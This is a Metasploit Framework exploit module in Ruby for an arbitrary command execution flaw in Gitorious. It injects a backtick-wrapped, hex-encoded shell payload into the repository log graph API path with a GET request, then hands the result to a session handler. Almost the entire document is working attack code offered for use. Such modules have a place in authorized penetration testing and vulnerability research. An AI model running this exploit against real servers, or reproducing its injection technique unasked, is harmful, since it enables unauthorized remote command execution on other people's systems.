Gitorious Arbitrary Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gitorious Arbitrary Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in the  
in gitorious. Unvalidated input is send to the shell allowing command execution.  
},  
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "\x60",  
'DisableNops' => true,  
'Space' => 31337,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
}  
},  
'Platform' => [ 'unix', 'linux' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jan 19 2012'  
))  
  
register_options(  
[  
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),  
], self.class)  
end  
  
def exploit  
# Make sure the URI begins with a slash  
uri = datastore['URI']  
if uri[0,1] != '/'  
uri = '/' + uri  
end  
  
# Make sure the URI ends without a slash, because it's already part of the URI  
if uri[-1, 1] == '/'  
uri = uri[0, uri.length-1]  
end  
  
command = Rex::Text.uri_encode(payload.raw, 'hex-all')  
command.gsub!("%20","%2520")  
res = send_request_cgi({  
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",  
'method' => 'GET',  
'headers' =>  
{  
'Connection' => 'Close',  
}  
}) #default timeout, we don't care about the response  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
end  
  
handler  
end  
  
end  
`